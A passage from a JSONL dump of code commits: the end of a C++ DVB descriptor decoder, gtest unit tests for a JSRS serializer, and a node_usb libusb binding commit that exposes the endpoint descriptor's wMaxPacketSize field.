false;\n\n\tdvbpsi_service_dr_t* dr = dvbpsi_DecodeServiceDr(p_descriptor);\n\tif (!dr) return false;\n\n\tget_descriptor_text(dr->i_service_provider_name, dr->i_service_provider_name_length, provider_name);\n\tget_descriptor_text(dr->i_service_name,          dr->i_service_name_length,          service_name);\n\n\tdprintf(\"%s, %s\", provider_name, service_name);\n\n\treturn true;\n}\n\nbool desc::short_event(dvbpsi_descriptor_t* p_descriptor)\n{\n\tif (p_descriptor->i_tag != DT_ShortEvent)\n\t\treturn false;\n\n\tdvbpsi_short_event_dr_t* dr = dvbpsi_DecodeShortEventDr(p_descriptor);\n\tif (!dr) return false;\n\n\tmemcpy(_4d.lang, dr->i_iso_639_code, 3);\n\tget_descriptor_text(dr->i_event_name, dr->i_event_name_length, _4d.name);\n\tget_descriptor_text(dr->i_text, dr->i_text_length, _4d.text);\n\n\tdprintf(\"%s, %s, %s\", _4d.lang, _4d.name, _4d.text);\n\n\treturn true;\n}\n\n\nbool desc::freq_list(dvbpsi_descriptor_t* p_descriptor)\n{\n\tif (p_descriptor->i_tag != DT_FrequencyList)\n\t\treturn false;\n\n\tdvbpsi_frequency_list_dr_t* dr = dvbpsi_DecodeFrequencyListDr(p_descriptor);\n\tif (!dr) return false;\n\n\tfor (int i = 0; i < dr->i_number_of_frequencies; ++i) {\n#if 0\n\t\t= dr->p_center_frequencies[i]\n#else\n\t\tdprintf(\"%d\", dr->p_center_frequencies[i]);\n#endif\n\t}\n\treturn true;\n}\n\nbool desc::_lcn(dvbpsi_descriptor_t* p_descriptor)\n{\n\tif (p_descriptor->i_tag != DT_LogicalChannelNumber)\n\t\treturn false;\n\n\tdvbpsi_lcn_dr_t* dr = dvbpsi_DecodeLCNDr(p_descriptor);\n\tif (!dr) return false;\n\n\tfor (int i = 0; i < dr->i_number_of_entries; i ++) {\n#if 0\n\t\t= lcn->p_entries[i].i_service_id;\n\t\t= lcn->p_entries[i].i_logical_channel_number;\n#else\n\t\tlcn[dr->p_entries[i].i_service_id] = dr->p_entries[i].i_logical_channel_number;\n\t\tdprintf(\"%d, %d\", dr->p_entries[i].i_service_id, lcn[dr->p_entries[i].i_service_id]);\n#endif\n\t}\n\n\treturn true;\n}\n\nvoid desc::decode(dvbpsi_descriptor_t* p_descriptor)\n{\n\twhile (p_descriptor) {\n\t\tswitch (p_descriptor->i_tag) {\n\t\tcase DT_Service:\n\t\t\tservice(p_descriptor);\n\t\t\tbreak;\n\t\tcase DT_ShortEvent:\n\t\t\tshort_event(p_descriptor);\n\t\t\tbreak;\n\t\tcase DT_FrequencyList:\n\t\t\tfreq_list(p_descriptor);\n\t\t\tbreak;\n\t\tcase DT_LogicalChannelNumber:\n\t\t\t_lcn(p_descriptor);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tdprintf(\"unknown descriptor tag: %02x\", p_descriptor->i_tag);\n\t\t\tbreak;\n\t\t}\n\t\tp_descriptor = p_descriptor->p_next;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Created by Nick on 27.03.16.\n\/\/\n\n<commit_msg>Add some simple tests<commit_after>#include \"gtest\/gtest.h\"\n#include \"jsrs.h\"\n\nTEST(jsrs_test, jsrs_test_dump_Test1) {\n  jstp::JSRS t;\n  EXPECT_EQ(t.dump(), \"undefined\");\n}\n\nTEST(jsrs_test, jsrs_test_dump_Test2) {\n  jstp::JSRS t(nullptr);\n  EXPECT_EQ(t.dump(), \"null\");\n}\n\nTEST(jsrs_test, jsrs_test_dump_Test3) {\n  jstp::JSRS t(25.5);\n  EXPECT_EQ(t.dump(), \"25.5\");\n}\n\nTEST(jsrs_test, jsrs_test_dump_Test4) {\n  jstp::JSRS t(true);\n  jstp::JSRS f(false);\n  EXPECT_EQ(t.dump(), \"true\");\n  EXPECT_EQ(f.dump(), \"false\");\n}\n\nTEST(jsrs_test, jsrs_test_dump_Test5) {\n  jstp::JSRS t(\"test\");\n  EXPECT_EQ(t.dump(), \"\\\"test\\\"\");\n}\n\nTEST(jsrs_test, jsrs_test_dump_Test6) {\n  char* str;\n  str = \"test\";\n  jstp::JSRS t(str);\n  EXPECT_EQ(t.dump(), \"\\\"test\\\"\");\n}\n\nTEST(jsrs_test, jsrs_test_dump_Test7) {\n  jstp::JSRS t1(25.5);\n  jstp::JSRS t2(true);\n  std::vector<jstp::JSRS> v;\n  v.push_back(t1);\n  v.push_back(t2);\n  jstp::JSRS t(v);\n  EXPECT_EQ(t.dump(), \"[25.5,true]\");\n}\n\nTEST(jsrs_test, jsrs_test_dump_Test8) {\n  std::map<std::string, jstp::JSRS> m;\n  jstp::JSRS t1(25.5);\n  jstp::JSRS t2(true);\n  jstp::JSRS t3(\"test\");\n  std::vector<jstp::JSRS> v;\n  v.push_back(t1);\n  v.push_back(t2);\n  jstp::JSRS arr(v);\n  m[\"test1\"] = t1;\n  m[\"test2\"] = t2;\n  m[\"test3\"] = t3;\n  m[\"arr\"] = arr;\n  jstp::JSRS t(m);\n  EXPECT_EQ(t.dump(), \"{arr:[25.5,true],test1:25.5,test2:true,test3:\\\"test\\\"}\");\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"node_usb.h\"\n\n#define STRUCT_TO_V8(TARGET, STR, NAME) \\\n\t\tTARGET->Set(V8STR(#NAME), Uint32::New((STR).NAME), CONST_PROP);\n\n#define CHECK_OPEN() \\\n\t\tif (!self->handle){THROW_ERROR(\"Device is not opened\");}\n\nDevice::Device(libusb_device* d): device(d), handle(0) {\n\tlibusb_ref_device(device);\n\tDEBUG_LOG(\"Created device %p\", this);\n}\n\n\nDevice::~Device(){\n\tDEBUG_LOG(\"Freed device %p\", this);\n\tlibusb_close(handle);\n\tlibusb_unref_device(device);\n}\n\n\/\/ Map pinning each libusb_device to a particular V8 instance\nstd::map<libusb_device*, Persistent<Value> > Device::byPtr;\n\n\/\/ Get a V8 instance for a libusb_device: either the existing one from the map, \n\/\/ or create a new one and add it to the map.\nHandle<Value> Device::get(libusb_device* dev){\n\tauto it = byPtr.find(dev);\n\tif (it != byPtr.end()){\n\t\treturn it->second;\n\t}else{\n\t\tauto v = Persistent<Value>::New(pDevice.create(new Device(dev)));\n\t\tv.MakeWeak(dev, weakCallback);\n\t\tbyPtr.insert(std::make_pair(dev, v));\n\t\treturn v;\t\n\t}\n}\n\n\/\/ Callback to remove an instance from the cache map when V8 wants to GC it\nvoid Device::weakCallback(Persistent<Value> object, void *parameter){\n\tbyPtr.erase(static_cast<libusb_device*>(parameter));\n\tobject.Dispose();\n\tobject.Clear();\n\tDEBUG_LOG(\"Removed cached device %p\", parameter);\n}\n\nstatic Handle<Value> deviceConstructor(const Arguments& args){\n\tENTER_CONSTRUCTOR_POINTER(pDevice, 1);\n\n\targs.This()->Set(V8SYM(\"busNumber\"),\n\t\tUint32::New(libusb_get_bus_number(self->device)), CONST_PROP);\n\targs.This()->Set(V8SYM(\"deviceAddress\"),\n\t\tUint32::New(libusb_get_device_address(self->device)), CONST_PROP);\n\n\tLocal<Object> v8dd = Object::New();\n\targs.This()->Set(V8SYM(\"deviceDescriptor\"), v8dd, CONST_PROP);\n\n\tstruct libusb_device_descriptor dd;\n\tCHECK_USB(libusb_get_device_descriptor(self->device, &dd));\n\n\tSTRUCT_TO_V8(v8dd, dd, bLength)\n\tSTRUCT_TO_V8(v8dd, dd, bDescriptorType)\n\tSTRUCT_TO_V8(v8dd, dd, bcdUSB)\n\tSTRUCT_TO_V8(v8dd, dd, bDeviceClass)\n\tSTRUCT_TO_V8(v8dd, dd, bDeviceSubClass)\n\tSTRUCT_TO_V8(v8dd, dd, bDeviceProtocol)\n\tSTRUCT_TO_V8(v8dd, dd, bMaxPacketSize0)\n\tSTRUCT_TO_V8(v8dd, dd, idVendor)\n\tSTRUCT_TO_V8(v8dd, dd, idProduct)\n\tSTRUCT_TO_V8(v8dd, dd, bcdDevice)\n\tSTRUCT_TO_V8(v8dd, dd, iManufacturer)\n\tSTRUCT_TO_V8(v8dd, dd, iProduct)\n\tSTRUCT_TO_V8(v8dd, dd, iSerialNumber)\n\tSTRUCT_TO_V8(v8dd, dd, bNumConfigurations)\n\n\treturn scope.Close(args.This());\n}\n\nHandle<Value> Device_GetConfigDescriptor(const Arguments& args){\n\tENTER_METHOD(pDevice, 0);\n\n\tlibusb_config_descriptor* cdesc;\n\tCHECK_USB(libusb_get_active_config_descriptor(self->device, &cdesc));\n\n\tLocal<Object> v8cdesc = Object::New();\n\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bLength)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bDescriptorType)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, wTotalLength)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bNumInterfaces)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bConfigurationValue)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, iConfiguration)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bmAttributes)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, MaxPower)\n\t\/\/r->Set(V8STR(\"extra\"), makeBuffer(cd.extra, cd.extra_length), CONST_PROP);\n\n\tLocal<Array> v8interfaces = Array::New(cdesc->bNumInterfaces);\n\tv8cdesc->Set(V8SYM(\"interfaces\"), v8interfaces);\n\n\tfor (int idxInterface = 0; idxInterface < cdesc->bNumInterfaces; idxInterface++) {\n\t\tint numAltSettings = cdesc->interface[idxInterface].num_altsetting;\n\t\t\n\t\tLocal<Array> v8altsettings = Array::New(numAltSettings);\n\t\tv8interfaces->Set(idxInterface, v8altsettings);\n\n\t\tfor (int idxAltSetting = 0; idxAltSetting < numAltSettings; idxAltSetting++) {\n\t\t\tconst libusb_interface_descriptor& idesc =\n\t\t\t\tcdesc->interface[idxInterface].altsetting[idxAltSetting];\n\t\t\t\n\t\t\tLocal<Object> v8idesc = Object::New();\n\t\t\tv8altsettings->Set(idxAltSetting, v8idesc);\n\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bLength)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bDescriptorType)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bInterfaceNumber)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bAlternateSetting)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bNumEndpoints)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bInterfaceClass)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bInterfaceSubClass)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bInterfaceProtocol)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, iInterface)\n\t\t\t\/\/ TODO: extra data\n\n\t\t\tLocal<Array> v8endpoints = Array::New(idesc.bNumEndpoints);\n\t\t\tv8idesc->Set(V8SYM(\"endpoints\"), v8endpoints, CONST_PROP);\n\t\t\tfor (int idxEndpoint = 0; idxEndpoint < idesc.bNumEndpoints; idxEndpoint++){\n\t\t\t\tconst libusb_endpoint_descriptor& edesc = idesc.endpoint[idxEndpoint];\n\n\t\t\t\tLocal<Object> v8edesc = Object::New();\n\t\t\t\tv8endpoints->Set(idxEndpoint, v8edesc);\n\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bLength)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bDescriptorType)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bEndpointAddress)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bmAttributes)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bInterval)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bRefresh)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bSynchAddress)\n\t\t\t}\n\t\t}\n\t}\n\n\tlibusb_free_config_descriptor(cdesc);\n\treturn scope.Close(v8cdesc);\n}\n\nHandle<Value> Device_Open(const Arguments& args){\n\tENTER_METHOD(pDevice, 0);\n\tif (!self->handle){\n\t\tCHECK_USB(libusb_open(self->device, &self->handle));\n\t}\n\treturn scope.Close(Undefined());\n}\n\nHandle<Value> Device_Close(const Arguments& args){\n\tENTER_METHOD(pDevice, 0);\n\tif (self->canClose()){\n\t\tlibusb_close(self->handle);\n\t\tself->handle = NULL;\n\t}else{\n\t\tTHROW_ERROR(\"Can't close device with a pending request\");\n\t}\n\treturn scope.Close(Undefined());\n}\n\nstruct Req{\n\tuv_work_t req;\n\tDevice* device;\n\tPersistent<Function> callback;\n\tint errcode;\n\n\tvoid submit(Device* d, Handle<Function> cb, uv_work_cb backend, uv_work_cb after){\n\t\tcallback = Persistent<Function>::New(cb);\n\t\tdevice = d;\n\t\tdevice->ref();\n\t\treq.data = this;\n\t\tuv_queue_work(uv_default_loop(), &req, backend, (uv_after_work_cb) after);\n\t}\n\n\tstatic void default_after(uv_work_t *req){\n\t\tHandleScope scope;\n\t\tauto baton = (Req*) req->data;\n\n\t\tauto device = Local<Object>::New(baton->device->handle_);\n\t\tbaton->device->unref();\n\n\t\tif (!baton->callback.IsEmpty()) {\n\t\t\tHandle<Value> error = Undefined();\n\t\t\tif (baton->errcode < 0){\n\t\t\t\terror = libusbException(baton->errcode);\n\t\t\t}\n\t\t\tHandle<Value> argv[1] = {error};\n\t\t\tTryCatch try_catch;\n\t\t\tbaton->callback->Call(device, 1, argv);\n\t\t\tif (try_catch.HasCaught()) {\n\t\t\t\tFatalException(try_catch);\n\t\t\t}\n\t\t\tbaton->callback.Dispose();\n\t\t}\n\t\tdelete baton;\n\t}\n};\n\nstruct Device_Reset: Req{\n\tstatic Handle<Value> begin(const Arguments& args){\n\t\tENTER_METHOD(pDevice, 0);\n\t\tCHECK_OPEN();\n\t\tCALLBACK_ARG(0);\n\t\tauto baton = new Device_Reset;\n\t\tbaton->submit(self, callback, &backend, &default_after);\n\t\treturn scope.Close(Undefined());\n\t}\n\n\tstatic void backend(uv_work_t *req){\n\t\tauto baton = (Device_Reset*) req->data;\n\t\tbaton->errcode = libusb_reset_device(baton->device->handle);\n\t}\n};\n\nHandle<Value> IsKernelDriverActive(const Arguments& args) {\n\tENTER_METHOD(pDevice, 1);\n\tCHECK_OPEN();\n\tint interface;\n\tINT_ARG(interface, 0);\n\tint r = libusb_kernel_driver_active(self->handle, interface);\n\tCHECK_USB(r);\n\treturn scope.Close(Boolean::New(r));\n}\t\n\t\nHandle<Value> DetachKernelDriver(const Arguments& args) {\n\tENTER_METHOD(pDevice, 1);\n\tCHECK_OPEN();\n\tint interface;\n\tINT_ARG(interface, 0);\n\tCHECK_USB(libusb_detach_kernel_driver(self->handle, interface));\n\treturn Undefined();\n}\n\nHandle<Value> AttachKernelDriver(const Arguments& args) {\n\tENTER_METHOD(pDevice, 1);\n\tCHECK_OPEN();\n\tint interface;\n\tINT_ARG(interface, 0);\n\tCHECK_USB(libusb_attach_kernel_driver(self->handle, interface));\n\treturn Undefined();\n}\n\nHandle<Value> Device_ClaimInterface(const Arguments& args) {\n\tENTER_METHOD(pDevice, 1);\n\tCHECK_OPEN();\n\tint interface;\n\tINT_ARG(interface, 0);\n\tCHECK_USB(libusb_claim_interface(self->handle, interface));\n\treturn Undefined();\n}\n\nstruct Device_ReleaseInterface: Req{\n\tint interface;\n\n\tstatic Handle<Value> begin(const Arguments& args){\n\t\tENTER_METHOD(pDevice, 1);\n\t\tCHECK_OPEN();\n\t\tint interface;\n\t\tINT_ARG(interface, 0);\n\t\tCALLBACK_ARG(1);\n\t\tauto baton = new Device_ReleaseInterface;\n\t\tbaton->interface = interface;\n\t\tbaton->submit(self, callback, &backend, &default_after);\n\n\t\treturn scope.Close(Undefined());\n\t}\n\n\tstatic void backend(uv_work_t *req){\n\t\tauto baton = (Device_ReleaseInterface*) req->data;\n\t\tbaton->errcode = libusb_release_interface(baton->device->handle, baton->interface);\n\t}\n};\n\nstruct Device_SetInterface: Req{\n\tint interface;\n\tint altsetting;\n\n\tstatic Handle<Value> begin(const Arguments& args){\n\t\tENTER_METHOD(pDevice, 2);\n\t\tCHECK_OPEN();\n\t\tint interface, altsetting;\n\t\tINT_ARG(interface, 0);\n\t\tINT_ARG(altsetting, 1);\n\t\tCALLBACK_ARG(2);\n\t\tauto baton = new Device_SetInterface;\n\t\tbaton->interface = interface;\n\t\tbaton->altsetting = altsetting;\n\t\tbaton->submit(self, callback, &backend, &default_after);\n\t\treturn scope.Close(Undefined());\n\t}\n\n\tstatic void backend(uv_work_t *req){\n\t\tauto baton = (Device_SetInterface*) req->data;\n\t\tbaton->errcode = libusb_set_interface_alt_setting(\n\t\t\tbaton->device->handle, baton->interface, baton->altsetting);\n\t}\n};\n\nstatic void init(Handle<Object> target){\n\tpDevice.init(&deviceConstructor);\n\tpDevice.addMethod(\"__getConfigDescriptor\", Device_GetConfigDescriptor);\n\tpDevice.addMethod(\"__open\", Device_Open);\n\tpDevice.addMethod(\"__close\", Device_Close);\n\tpDevice.addMethod(\"reset\", Device_Reset::begin);\n\t\n\tpDevice.addMethod(\"__claimInterface\", Device_ClaimInterface);\n\tpDevice.addMethod(\"__releaseInterface\", Device_ReleaseInterface::begin);\n\tpDevice.addMethod(\"__setInterface\", Device_SetInterface::begin);\n\t\n\tpDevice.addMethod(\"__isKernelDriverActive\", IsKernelDriverActive);\n\tpDevice.addMethod(\"__detachKernelDriver\", DetachKernelDriver);\n\tpDevice.addMethod(\"__attachKernelDriver\", AttachKernelDriver);\n}\n\nProto<Device> pDevice(\"Device\", &init);\n<commit_msg>Expose endpoint descriptor's wMaxPacketSize.<commit_after>#include \"node_usb.h\"\n\n#define STRUCT_TO_V8(TARGET, STR, NAME) \\\n\t\tTARGET->Set(V8STR(#NAME), Uint32::New((STR).NAME), CONST_PROP);\n\n#define CHECK_OPEN() \\\n\t\tif (!self->handle){THROW_ERROR(\"Device is not opened\");}\n\nDevice::Device(libusb_device* d): device(d), handle(0) {\n\tlibusb_ref_device(device);\n\tDEBUG_LOG(\"Created device %p\", this);\n}\n\n\nDevice::~Device(){\n\tDEBUG_LOG(\"Freed device %p\", this);\n\tlibusb_close(handle);\n\tlibusb_unref_device(device);\n}\n\n\/\/ Map pinning each libusb_device to a particular V8 instance\nstd::map<libusb_device*, Persistent<Value> > Device::byPtr;\n\n\/\/ Get a V8 instance for a libusb_device: either the existing one from the map, \n\/\/ or create a new one and add it to the map.\nHandle<Value> Device::get(libusb_device* dev){\n\tauto it = byPtr.find(dev);\n\tif (it != byPtr.end()){\n\t\treturn it->second;\n\t}else{\n\t\tauto v = Persistent<Value>::New(pDevice.create(new Device(dev)));\n\t\tv.MakeWeak(dev, weakCallback);\n\t\tbyPtr.insert(std::make_pair(dev, v));\n\t\treturn v;\t\n\t}\n}\n\n\/\/ Callback to remove an instance from the cache map when V8 wants to GC it\nvoid Device::weakCallback(Persistent<Value> object, void *parameter){\n\tbyPtr.erase(static_cast<libusb_device*>(parameter));\n\tobject.Dispose();\n\tobject.Clear();\n\tDEBUG_LOG(\"Removed cached device %p\", parameter);\n}\n\nstatic Handle<Value> deviceConstructor(const Arguments& args){\n\tENTER_CONSTRUCTOR_POINTER(pDevice, 1);\n\n\targs.This()->Set(V8SYM(\"busNumber\"),\n\t\tUint32::New(libusb_get_bus_number(self->device)), CONST_PROP);\n\targs.This()->Set(V8SYM(\"deviceAddress\"),\n\t\tUint32::New(libusb_get_device_address(self->device)), CONST_PROP);\n\n\tLocal<Object> v8dd = Object::New();\n\targs.This()->Set(V8SYM(\"deviceDescriptor\"), v8dd, CONST_PROP);\n\n\tstruct libusb_device_descriptor dd;\n\tCHECK_USB(libusb_get_device_descriptor(self->device, &dd));\n\n\tSTRUCT_TO_V8(v8dd, dd, bLength)\n\tSTRUCT_TO_V8(v8dd, dd, bDescriptorType)\n\tSTRUCT_TO_V8(v8dd, dd, bcdUSB)\n\tSTRUCT_TO_V8(v8dd, dd, bDeviceClass)\n\tSTRUCT_TO_V8(v8dd, dd, bDeviceSubClass)\n\tSTRUCT_TO_V8(v8dd, dd, bDeviceProtocol)\n\tSTRUCT_TO_V8(v8dd, dd, bMaxPacketSize0)\n\tSTRUCT_TO_V8(v8dd, dd, idVendor)\n\tSTRUCT_TO_V8(v8dd, dd, idProduct)\n\tSTRUCT_TO_V8(v8dd, dd, bcdDevice)\n\tSTRUCT_TO_V8(v8dd, dd, iManufacturer)\n\tSTRUCT_TO_V8(v8dd, dd, iProduct)\n\tSTRUCT_TO_V8(v8dd, dd, iSerialNumber)\n\tSTRUCT_TO_V8(v8dd, dd, bNumConfigurations)\n\n\treturn scope.Close(args.This());\n}\n\nHandle<Value> Device_GetConfigDescriptor(const Arguments& args){\n\tENTER_METHOD(pDevice, 0);\n\n\tlibusb_config_descriptor* cdesc;\n\tCHECK_USB(libusb_get_active_config_descriptor(self->device, &cdesc));\n\n\tLocal<Object> v8cdesc = Object::New();\n\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bLength)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bDescriptorType)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, wTotalLength)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bNumInterfaces)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bConfigurationValue)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, iConfiguration)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, bmAttributes)\n\tSTRUCT_TO_V8(v8cdesc, *cdesc, MaxPower)\n\t\/\/r->Set(V8STR(\"extra\"), makeBuffer(cd.extra, cd.extra_length), CONST_PROP);\n\n\tLocal<Array> v8interfaces = Array::New(cdesc->bNumInterfaces);\n\tv8cdesc->Set(V8SYM(\"interfaces\"), v8interfaces);\n\n\tfor (int idxInterface = 0; idxInterface < cdesc->bNumInterfaces; idxInterface++) {\n\t\tint numAltSettings = cdesc->interface[idxInterface].num_altsetting;\n\t\t\n\t\tLocal<Array> v8altsettings = Array::New(numAltSettings);\n\t\tv8interfaces->Set(idxInterface, v8altsettings);\n\n\t\tfor (int idxAltSetting = 0; idxAltSetting < numAltSettings; idxAltSetting++) {\n\t\t\tconst libusb_interface_descriptor& idesc =\n\t\t\t\tcdesc->interface[idxInterface].altsetting[idxAltSetting];\n\t\t\t\n\t\t\tLocal<Object> v8idesc = Object::New();\n\t\t\tv8altsettings->Set(idxAltSetting, v8idesc);\n\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bLength)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bDescriptorType)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bInterfaceNumber)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bAlternateSetting)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bNumEndpoints)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bInterfaceClass)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bInterfaceSubClass)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, bInterfaceProtocol)\n\t\t\tSTRUCT_TO_V8(v8idesc, idesc, iInterface)\n\t\t\t\/\/ TODO: extra data\n\n\t\t\tLocal<Array> v8endpoints = Array::New(idesc.bNumEndpoints);\n\t\t\tv8idesc->Set(V8SYM(\"endpoints\"), v8endpoints, CONST_PROP);\n\t\t\tfor (int idxEndpoint = 0; idxEndpoint < idesc.bNumEndpoints; idxEndpoint++){\n\t\t\t\tconst libusb_endpoint_descriptor& edesc = idesc.endpoint[idxEndpoint];\n\n\t\t\t\tLocal<Object> v8edesc = Object::New();\n\t\t\t\tv8endpoints->Set(idxEndpoint, v8edesc);\n\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bLength)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bDescriptorType)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bEndpointAddress)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bmAttributes)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, wMaxPacketSize)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bInterval)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bRefresh)\n\t\t\t\tSTRUCT_TO_V8(v8edesc, edesc, bSynchAddress)\n\t\t\t}\n\t\t}\n\t}\n\n\tlibusb_free_config_descriptor(cdesc);\n\treturn scope.Close(v8cdesc);\n}\n\nHandle<Value> Device_Open(const Arguments& args){\n\tENTER_METHOD(pDevice, 0);\n\tif (!self->handle){\n\t\tCHECK_USB(libusb_open(self->device, &self->handle));\n\t}\n\treturn scope.Close(Undefined());\n}\n\nHandle<Value> Device_Close(const Arguments& args){\n\tENTER_METHOD(pDevice, 0);\n\tif (self->canClose()){\n\t\tlibusb_close(self->handle);\n\t\tself->handle = NULL;\n\t}else{\n\t\tTHROW_ERROR(\"Can't close device with a pending request\");\n\t}\n\treturn scope.Close(Undefined());\n}\n\nstruct Req{\n\tuv_work_t req;\n\tDevice* device;\n\tPersistent<Function> callback;\n\tint errcode;\n\n\tvoid submit(Device* d, Handle<Function> cb, uv_work_cb backend, uv_work_cb after){\n\t\tcallback = Persistent<Function>::New(cb);\n\t\tdevice = d;\n\t\tdevice->ref();\n\t\treq.data = this;\n\t\tuv_queue_work(uv_default_loop(), &req, backend, (uv_after_work_cb) after);\n\t}\n\n\tstatic void default_after(uv_work_t *req){\n\t\tHandleScope scope;\n\t\tauto baton = (Req*) req->data;\n\n\t\tauto device = Local<Object>::New(baton->device->handle_);\n\t\tbaton->device->unref();\n\n\t\tif (!baton->callback.IsEmpty()) {\n\t\t\tHandle<Value> error = Undefined();\n\t\t\tif (baton->errcode < 0){\n\t\t\t\terror = libusbException(baton->errcode);\n\t\t\t}\n\t\t\tHandle<Value> argv[1] = {error};\n\t\t\tTryCatch try_catch;\n\t\t\tbaton->callback->Call(device, 1, argv);\n\t\t\tif (try_catch.HasCaught()) {\n\t\t\t\tFatalException(try_catch);\n\t\t\t}\n\t\t\tbaton->callback.Dispose();\n\t\t}\n\t\tdelete baton;\n\t}\n};\n\nstruct Device_Reset: Req{\n\tstatic Handle<Value> begin(const Arguments& args){\n\t\tENTER_METHOD(pDevice, 0);\n\t\tCHECK_OPEN();\n\t\tCALLBACK_ARG(0);\n\t\tauto baton = new Device_Reset;\n\t\tbaton->submit(self, callback, &backend, &default_after);\n\t\treturn scope.Close(Undefined());\n\t}\n\n\tstatic void backend(uv_work_t *req){\n\t\tauto baton = (Device_Reset*) req->data;\n\t\tbaton->errcode = libusb_reset_device(baton->device->handle);\n\t}\n};\n\nHandle<Value> IsKernelDriverActive(const Arguments& args) {\n\tENTER_METHOD(pDevice, 1);\n\tCHECK_OPEN();\n\tint interface;\n\tINT_ARG(interface, 0);\n\tint r = libusb_kernel_driver_active(self->handle, interface);\n\tCHECK_USB(r);\n\treturn scope.Close(Boolean::New(r));\n}\t\n\t\nHandle<Value> DetachKernelDriver(const Arguments& args) {\n\tENTER_METHOD(pDevice, 1);\n\tCHECK_OPEN();\n\tint interface;\n\tINT_ARG(interface, 0);\n\tCHECK_USB(libusb_detach_kernel_driver(self->handle, interface));\n\treturn Undefined();\n}\n\nHandle<Value> AttachKernelDriver(const Arguments& args) {\n\tENTER_METHOD(pDevice, 1);\n\tCHECK_OPEN();\n\tint interface;\n\tINT_ARG(interface, 0);\n\tCHECK_USB(libusb_attach_kernel_driver(self->handle, interface));\n\treturn Undefined();\n}\n\nHandle<Value> Device_ClaimInterface(const Arguments& args) {\n\tENTER_METHOD(pDevice, 1);\n\tCHECK_OPEN();\n\tint interface;\n\tINT_ARG(interface, 0);\n\tCHECK_USB(libusb_claim_interface(self->handle, interface));\n\treturn Undefined();\n}\n\nstruct Device_ReleaseInterface: Req{\n\tint interface;\n\n\tstatic Handle<Value> begin(const Arguments& args){\n\t\tENTER_METHOD(pDevice, 1);\n\t\tCHECK_OPEN();\n\t\tint interface;\n\t\tINT_ARG(interface, 0);\n\t\tCALLBACK_ARG(1);\n\t\tauto baton = new Device_ReleaseInterface;\n\t\tbaton->interface = interface;\n\t\tbaton->submit(self, callback, &backend, &default_after);\n\n\t\treturn scope.Close(Undefined());\n\t}\n\n\tstatic void backend(uv_work_t *req){\n\t\tauto baton = (Device_ReleaseInterface*) req->data;\n\t\tbaton->errcode = libusb_release_interface(baton->device->handle, baton->interface);\n\t}\n};\n\nstruct Device_SetInterface: Req{\n\tint interface;\n\tint altsetting;\n\n\tstatic Handle<Value> begin(const Arguments& args){\n\t\tENTER_METHOD(pDevice, 2);\n\t\tCHECK_OPEN();\n\t\tint interface, altsetting;\n\t\tINT_ARG(interface, 0);\n\t\tINT_ARG(altsetting, 1);\n\t\tCALLBACK_ARG(2);\n\t\tauto baton = new Device_SetInterface;\n\t\tbaton->interface = interface;\n\t\tbaton->altsetting = altsetting;\n\t\tbaton->submit(self, callback, &backend, &default_after);\n\t\treturn scope.Close(Undefined());\n\t}\n\n\tstatic void backend(uv_work_t *req){\n\t\tauto baton = (Device_SetInterface*) req->data;\n\t\tbaton->errcode = libusb_set_interface_alt_setting(\n\t\t\tbaton->device->handle, baton->interface, baton->altsetting);\n\t}\n};\n\nstatic void init(Handle<Object> target){\n\tpDevice.init(&deviceConstructor);\n\tpDevice.addMethod(\"__getConfigDescriptor\", Device_GetConfigDescriptor);\n\tpDevice.addMethod(\"__open\", Device_Open);\n\tpDevice.addMethod(\"__close\", Device_Close);\n\tpDevice.addMethod(\"reset\", Device_Reset::begin);\n\t\n\tpDevice.addMethod(\"__claimInterface\", Device_ClaimInterface);\n\tpDevice.addMethod(\"__releaseInterface\", Device_ReleaseInterface::begin);\n\tpDevice.addMethod(\"__setInterface\", 